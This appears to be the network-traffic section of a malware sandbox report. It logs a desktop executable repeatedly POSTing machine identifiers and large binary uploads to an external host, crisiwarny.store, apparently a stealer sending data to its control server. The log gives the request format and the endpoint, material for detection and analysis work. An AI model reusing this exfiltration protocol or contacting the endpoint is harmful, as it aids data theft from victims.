2024-10-27 19:15:16 UTC	12840	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 33 34 46 33 46 35 34 46 30 44 32 37 37 32 32 34 37 30 30 35 36 33 44 45 45 43 43 43 30 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"D34F3F54F0D277224700563DEECCC084--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-27 19:15:17 UTC	1010	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 19:15:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=um70gih6qln2oja0i9je5jheh4; expires=Thu, 20 Feb 2025 13:01:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VBECLAeGntXX4IPH0UCuM6UGXXRxITTfxjDC0fMXgJzK3mBxg3zjEvLPUQxWdZHiocGgWgoSmORDwrNm2DwtM%2B8mGmSCGGeaO7aLoE8TFiB4rHzg%2FpI%2FSw1kPNuhsE6iXvGy"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d95038c9e4e2e2d-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1307&sent=8&recv=17&lost=0&retrans=0&sent_bytes=2837&recv_bytes=13780&delivery_rate=2164424&cwnd=251&unsent_bytes=0&cid=98d41b3a9aee148b&ts=574&x=0"
2024-10-27 19:15:17 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 39 30 0d 0a Data Ascii: 11ok 173.254.250.90
2024-10-27 19:15:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49707	104.21.95.91	443	4292	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 19:15:18 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15082 Host: crisiwarny.store
2024-10-27 19:15:18 UTC	15082	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 33 34 46 33 46 35 34 46 30 44 32 37 37 32 32 34 37 30 30 35 36 33 44 45 45 43 43 43 30 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"D34F3F54F0D277224700563DEECCC084--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-27 19:15:18 UTC	1011	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 19:15:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ihehlhmom24u5ba417gmkk7geb; expires=Thu, 20 Feb 2025 13:01:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DOJxweymUncmu7yasC7ZXPgjWbndfJp%2Fr2iraYhLMRI%2F9Zw7WuhvC10TPesHXZ6FOmAd2gciTVCoVVOaGWXpc3VNLbCGbPwwbhISg%2BqnFKiJmuwaXpJqzBxtrrbK5nlfgAop"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d950397fdd40b95-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2132&sent=10&recv=19&lost=0&retrans=0&sent_bytes=2838&recv_bytes=16022&delivery_rate=1363465&cwnd=236&unsent_bytes=0&cid=6ce60103f0594cf5&ts=594&x=0"
2024-10-27 19:15:18 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 39 30 0d 0a Data Ascii: 11ok 173.254.250.90
2024-10-27 19:15:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49708	104.21.95.91	443	4292	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 19:15:19 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20572 Host: crisiwarny.store
2024-10-27 19:15:19 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 33 34 46 33 46 35 34 46 30 44 32 37 37 32 32 34 37 30 30 35 36 33 44 45 45 43 43 43 30 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"D34F3F54F0D277224700563DEECCC084--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-27 19:15:19 UTC	5241	OUT	Data Raw: 5a 3e 93 af 35 13 92 cd 36 8a 95 d9 76 89 c4 4d c9 4d d9 5a b5 da 68 27 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: Z>56vMMZh'F3Wun 4F([:7s~X`nO
2024-10-27 19:15:20 UTC	1015	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 19:15:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9cuiqfi2o6pg4n2rhueoqg7ph1; expires=Thu, 20 Feb 2025 13:01:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NXAj%2F050yZl0%2BCpS6qIkC8SlfIU9yNUQn%2Fw3Ggd%2FeKWM6rlVkxoC4T8I14XkakMz4uE92TfVV3HKGRany2QVVPLwUkGJxTdUfZYMGkudp77lvm438pemS0ZNt7kTdCUHtdk%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9503a12fb82cb2-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1390&sent=11&recv=26&lost=0&retrans=0&sent_bytes=2837&recv_bytes=21534&delivery_rate=2026592&cwnd=251&unsent_bytes=0&cid=1028cc43660867ce&ts=735&x=0"
2024-10-27 19:15:20 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 39 30 0d 0a Data Ascii: 11ok 173.254.250.90
2024-10-27 19:15:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49709	104.21.95.91	443	4292	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 19:15:21 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1254 Host: crisiwarny.store
2024-10-27 19:15:21 UTC	1254	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 33 34 46 33 46 35 34 46 30 44 32 37 37 32 32 34 37 30 30 35 36 33 44 45 45 43 43 43 30 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"D34F3F54F0D277224700563DEECCC084--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-27 19:15:22 UTC	1006	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 19:15:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4sto73s7cgj84qrk9t66m1loqu; expires=Thu, 20 Feb 2025 13:02:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QKPtv18udtsJKdIkVlV3r8PC5NFKWVB8ez1e9k88pcwvtFrxWYwt%2B2hvr4GioeNrmObFxIl7a8cOOIAWwV6l8Xg7e%2FX8jo916Nv4eqPWomX4kPyXKuscT8uRHV0A5Nz3SKLF"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9503acfccc6c55-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1136&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2838&recv_bytes=2171&delivery_rate=2518260&cwnd=244&unsent_bytes=0&cid=a143e3acf7fcc444&ts=518&x=0"
2024-10-27 19:15:22 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 39 30 0d 0a Data Ascii: 11ok 173.254.250.90
2024-10-27 19:15:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49710	104.21.95.91	443	4292	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 19:15:23 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 569434 Host: crisiwarny.store
2024-10-27 19:15:23 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 33 34 46 33 46 35 34 46 30 44 32 37 37 32 32 34 37 30 30 35 36 33 44 45 45 43 43 43 30 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"D34F3F54F0D277224700563DEECCC084--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-27 19:15:23 UTC	15331	OUT	Data Raw: a9 7a f9 86 b8 34 7a b9 88 53 5f 14 2a 35 1f c2 ce 44 da 0f f0 5a b9 a3 ce a4 6d 39 fe 33 df d9 40 8b 47 8a 49 b2 db 3f 64 c9 4f fd 64 af ef 7a 5c b4 ad dd 1f fe 2a 40 e0 97 9e 64 72 ef 57 61 94 91 c5 58 2d 61 a9 4c 6a 42 56 a2 34 c3 da 0d ba 94 2e 99 b8 9e b3 38 b1 20 a4 e1 dc ba dc 59 27 92 ab 3c 6d 20 44 b9 df 00 4b 48 4a ee 64 2a c7 c2 42 29 7e 4c a3 9b 27 a5 c1 a4 1c 6c 10 41 cf 12 5c 2f e7 83 7d b7 ab bc 1d fd 79 6d 43 8a e0 2b 76 5d c3 01 fe ca c7 95 43 c6 da 31 c1 f5 40 12 ba 5b 0f de 5e 33 95 44 cf 63 d7 bf e5 6f b8 b7 2a b1 f6 f2 83 b5 8b eb 1a 7d 10 2d 5f f6 26 6c 57 53 5c c2 77 28 a4 49 60 e2 d4 e2 a1 77 dd 5a a0 72 3c ed e1 eb cf 1b c7 9d 1f 38 70 fd 6d 5f 07 e4 40 ec f9 de 8b 73 cf de 5f 44 12 e8 c4 ef 35 90 f7 cd 76 80 3d 13 d5 d5 b5 28 a6 Data Ascii: z4zS_5DZm93@GI?dOdz\@drWaX-aLjBV4.8 Y'<m DKHJdB)~L'lA\/}ymC+v]C1@[^3Dco}-_&lWS\w(I`wZr<8pm_@s_D5v=(
2024-10-27 19:15:23 UTC	15331	OUT	Data Raw: 48 c3 91 79 a4 6d 6c 4c cb 45 a1 a7 cc 92 ec 06 29 b0 7f 3d 45 51 8c b3 27 06 8f ee 57 6f 08 29 b8 ad dc 2d 2a b4 07 f3 fc 7e f2 02 4b 6b e4 84 b4 45 40 7a e9 f6 af 7f 8b b8 5d 4b b1 ca 69 61 c3 3f de 47 71 8a 9e 4e 55 bf 7f 2b 15 28 e4 c5 c9 a8 b9 4d 37 ae 4c e3 f8 f4 87 df 79 34 2f 37 78 35 b3 26 76 62 c6 fe b3 08 c7 3b 31 84 d8 4d 1f d7 0c 4d 4c 8f 50 76 43 8b 0d 6b 0c b7 f4 e6 97 63 25 c8 9b eb 79 cc 4a 3b fb 02 2f b1 9f 2a d4 ea 16 4a 3a 5a 17 d6 fb e7 c6 3e 4c b4 41 b2 86 63 f9 86 af 30 4d 45 3b b7 c0 5a 2e 9a 9f df b5 ad 36 65 39 89 7c 7a 24 7f a1 36 8c 5b a9 c2 a1 15 c6 46 1a a7 7a ac 3c b2 a4 96 61 a7 a4 1b 3c 4d cc e2 f7 3f 4c ec 08 73 57 6e 8e 23 21 15 26 bf b9 04 78 38 45 19 59 b9 aa 3f f3 53 62 ea a3 ce 16 b9 6a ea e5 93 af 72 37 2b 35 b6 1e Data Ascii: HymlLE)=EQ'Wo)-~KkE@z]Kia?GqNU+(M7Ly4/7x5&vb;1MMLPvCkc%yJ;/J:Z>LAc0ME;Z.6e9\|z$6[Fz<a<M?LsWn#!&x8EY?Sbjr7+5
2024-10-27 19:15:23 UTC	15331	OUT	Data Raw: d8 61 73 65 e0 e2 ce d2 a1 5b 24 ba 71 da 64 ce 22 3f 70 44 d5 82 c8 fa e3 fd d9 ea 80 e1 97 43 ef 1f 64 de 2e 30 2d c8 b3 4d 6e 13 c3 aa 80 e0 88 6b 97 cd cc 0b e7 8a f2 bd b6 e8 b3 18 ad 78 cd f0 a6 58 6b 08 ee 5a c8 63 ee 0e ce 48 b1 1b 50 65 75 5a 4a 08 63 7e 63 f1 0f 33 51 64 ae a9 b8 a0 fa b0 ea d5 6f 89 54 79 b0 1f e3 04 65 54 41 6a 5a 98 f9 db e6 fe 6b af ba 11 85 9b 16 f7 21 ec b9 81 00 7b ca 87 d4 9b 6d 47 96 8e 11 b9 7e b7 cd 18 f5 05 62 9e d2 58 f8 13 e9 fe f9 59 71 58 58 82 df 1a d7 c5 8d 03 79 b4 aa 7e 31 67 a6 7f 88 8c 14 98 0c dd e4 72 55 6c 7f fd 3f c3 43 6f 61 da 4c 17 a3 37 80 29 4a f8 86 ae f8 d3 ff 2d 6e df fe 13 d0 f7 dc 6f c9 2d a9 de 33 b5 c9 3c b7 a5 fd ed 5d c2 db 55 da c1 e0 9c 48 3c 77 dd 34 f3 88 d8 1e ae 9b 3a bf b2 f7 2b b8 Data Ascii: ase[$qd"?pDCd.0-MnkxXkZcHPeuZJc~c3QdoTyeTAjZk!{mG~bXYqXXy~1grUl?CoaL7)J-no-3<]UH<w4:+
2024-10-27 19:15:23 UTC	15331	OUT	Data Raw: 4a 30 09 22 8d 0a a3 dc 7a c1 31 d7 68 cf 42 db 15 ec 4c 3c 70 77 83 f0 99 ae c3 f9 fb 1e 6f 34 9c d1 5a 52 9f 2b 29 f6 e0 17 f8 f3 8e f4 c9 ef 68 63 b4 ae ff 5c 83 7d d0 23 a9 24 61 91 df 5b 13 f5 26 38 1f 0e 91 9b 6e ac 99 ab a9 7a f2 75 07 6d 75 bc 5c a3 37 b6 c3 15 4f 3f fc 4e b1 a4 8f 7b 16 88 b7 ae 9d 15 b4 e9 53 51 cb ca 18 de 04 a2 2a 3a 56 fa 1d 8e e0 85 4d 3a fb 84 e1 e6 41 f1 20 81 4b fb 9d ce 0b 93 97 5c 59 87 77 ae 13 c1 5f 05 0f d5 6e 38 68 24 23 48 60 17 f1 ab 29 8e 98 59 b5 56 4a 8c f3 ad 0b 14 9d 38 45 b7 6c c5 3c 3f d6 f6 4d 42 9a 69 dd a1 1a 3f ba a5 e9 a9 21 87 9a ec a5 4d 54 c5 b6 e0 98 ac ee 47 8e 72 fd ea b2 22 3b 6c 9a 89 99 ca a9 b4 d6 37 0f 9b 22 8c ba ed 3d c1 69 90 bb bb ce 41 37 b1 df 36 4b a1 37 2a 90 f3 a7 41 cc 44 ca c1 39 Data Ascii: J0"z1hBL<pwo4ZR+)hc\}#$a[&8nzumu\7O?N{SQ:VM:A K\Yw_n8h$#H`)YVJ8El<?MBi?!MTGr";l7"=iA76K7AD9
2024-10-27 19:15:23 UTC	15331	OUT	Data Raw: 6b 04 2c 35 69 65 e9 61 06 70 f8 8b ad 76 af f6 f6 1f 31 2f bc 01 0d 39 18 aa da b8 7c 21 f0 41 04 55 c5 60 7a f0 f3 b9 89 c6 ba b3 97 1d 00 c9 21 38 22 74 fd c8 78 16 3d a1 81 3c 25 d8 8a 7f 27 41 43 6a ba 2f 77 fe 69 62 a3 d9 27 86 1c 79 78 d2 76 4c b1 bf e3 69 e8 d1 6b 66 57 b8 3b a6 95 19 e1 c5 ef 9e c4 53 b0 11 98 98 75 13 67 25 97 ba 88 90 ee 3d f7 8a 04 b7 dd 75 4f 80 8f 1d 36 d2 2b d0 1c c1 8c 04 f8 4e 9f c1 c7 b4 3b 55 6c f8 08 92 fa c2 93 b5 91 67 ab 24 e5 36 c6 dd ab 93 a7 61 66 34 3c 06 c0 cd 51 c5 0c c5 b4 41 42 32 e7 7e 74 d1 ff a6 87 9a 81 90 f5 0e 59 da f2 13 24 91 f1 97 71 4b d5 62 22 f5 61 9a a8 e7 b9 d5 57 6e 96 88 03 07 8e fc a0 54 0e fd a0 88 00 d6 b2 14 f8 97 9f d5 f1 0f bf ff 3e 40 69 eb 3d 0f dc e8 69 e1 34 01 c6 87 b4 42 44 d9 3f Data Ascii: k,5ieapv1/9\|!AU`z!8"tx=<%'ACj/wib'yxvLikfW;Sug%=uO6+N;Ulg$6af4<QAB2~tY$qKb"aWnT>@i=i4BD?
2024-10-27 19:15:23 UTC	15331	OUT	Data Raw: be 36 da cc fc 27 f9 69 d2 e9 ce 20 63 47 d5 4a 8d f6 a9 8d 85 c5 89 4d ef 09 ce 22 e7 c7 f2 7b d5 b3 51 e7 8e 1f 88 a2 29 89 57 9b 51 e8 89 86 36 ae 18 11 f6 df 03 18 6d 8e ec 5d ac bb 51 e7 ec 13 7d ae 9a 9e cf f1 81 c6 b7 7e 5e d6 b2 11 e6 47 ab 65 54 78 80 dc 26 7b f8 58 59 f4 86 f5 a0 e2 f9 c0 08 7f c1 d9 2f 32 58 fe 7b a7 b0 9d fb f6 32 12 55 9b 50 a6 63 98 7b 03 5f c4 07 c2 f9 0a 53 43 ce 55 cd cd 62 39 57 6a 35 c7 c0 85 b4 45 4e 31 1b 3d c6 2b 34 73 8f e2 8b af 11 b0 b2 24 0d 92 c6 b0 28 e2 ce 44 2f cf 51 39 57 c2 e9 63 e7 06 29 8a 4a 24 8a 62 86 62 7b 72 ad e6 e7 6d 82 d3 67 69 b6 36 31 ae bb 54 c6 6d be 7d 75 d3 fa 69 aa 27 44 9c 52 5b 29 a4 24 36 b2 77 56 b9 c8 86 ae 99 1c a6 f8 08 92 aa 15 20 aa db 2c 52 86 4d ce 65 31 3a 77 09 63 e3 b9 8e a9 Data Ascii: 6'i cGJM"{Q)WQ6m]Q}~^GeTx&{XY/2X{2UPc{_SCUb9Wj5EN1=+4s$(D/Q9Wc)J$bb{rmgi61Tm}ui'DR[)$6wV ,RMe1:wc
2024-10-27 19:15:23 UTC	15331	OUT	Data Raw: 37 06 8b cc df 66 f5 d4 d5 fc 33 9e cb 87 b8 13 98 b8 86 6c c2 00 79 f6 d3 fb 3c 27 af 0a 95 a0 c2 b9 f3 26 ac 04 cf 0b ff 9e 00 a1 cf ce 8e 4f f2 d0 c1 8f d0 82 25 2d 44 3d 31 ea df 67 50 3a d8 f1 b8 53 ad 25 02 f0 ec c1 28 bd 94 42 f5 a7 db 6d ec b3 dd 63 bc fb 68 15 9b 02 35 a7 12 31 62 8f 46 be df 5e b3 13 b7 91 e5 24 7d 02 f8 91 12 fa cf 41 f1 3e 44 66 5a bc c2 3f f7 93 fe fe 9e e8 1c 78 02 7c ce 7e ae 7d 64 de d6 46 9f 33 59 37 af 73 7c 0f 9d 07 54 6c 55 c3 df 3e 0c e5 3d 3e e1 24 a5 a3 f5 d7 0a b1 e1 7b 0a 93 c9 b7 ea c9 b6 ff 42 39 cf da e1 a6 2c 64 5d 51 c8 8b 0c d1 b8 77 bf 6f e9 2f bd 15 f0 2e 3d 5d 35 30 41 d3 a3 3b c1 56 e0 73 8e 1f 3b 06 2d 8e 45 a1 e6 a9 3b 36 5b 63 31 57 d2 30 d7 9b 19 0e a1 ce 82 37 0f 6c b9 8c 8c 1d 4b e4 b2 10 e7 f9 e3 Data Ascii: 7f3ly<'&O%-D=1gP:S%(Bmch51bF^$}A>DfZ?x\|~}dF3Y7s\|TlU>=>${B9,d]Qwo/.=]50A;Vs;-E;6[c1W07lK
2024-10-27 19:15:23 UTC	15331	OUT	Data Raw: 17 24 10 06 9b b2 8d 42 8d 93 39 19 bb ea 6e 96 85 44 35 28 53 d5 05 d5 7d 57 3e 20 ad ec c8 57 b0 6f f2 d4 de 09 0f 5a 2b da 2a b2 9a 79 77 3b 55 17 6f 4d e6 3b 34 fa c9 85 ea 52 0d cb 37 b1 74 3f fe 52 d8 86 8e a6 c9 a8 88 45 9f 77 7e b9 91 51 80 9c e1 2b 2c 40 89 63 62 23 14 10 9c ce 99 0c 98 3a e1 bd 39 a3 0f 7f d3 26 9c 96 d6 c3 5e 98 03 8b 0c 59 9a 0c 9c 8a 46 e0 25 90 07 85 51 0c e7 86 84 f8 38 37 14 25 3c 28 89 37 f3 3c 91 77 5d 7b 44 b0 80 83 bf 66 aa cc 57 ab 3b c9 b9 79 4a ee ca 07 4c ea 35 1e 30 76 d5 85 23 84 30 71 ba 07 07 fb 1d d6 b4 a6 f4 9c ac d3 ea 6e a8 6a 4d aa 51 1b 53 92 6f a9 32 fd 87 40 52 93 cf 0c a2 b0 a7 b8 c8 66 20 f8 ee c9 de 17 11 bd 5c 4e 3e e2 4a 37 ce 68 a2 bc ee fd 6f 0d f8 9f cd 6e f9 07 f0 e2 cd 92 d2 ac 5d 55 29 03 da Data Ascii: $B9nD5(S}W> WoZ+*yw;UoM;4R7t?REw~Q+,@cb#:9&^YF%Q87%<(7<w]{DfW;yJL50v#0qnjMQSo2@Rf \N>J7hon]U)
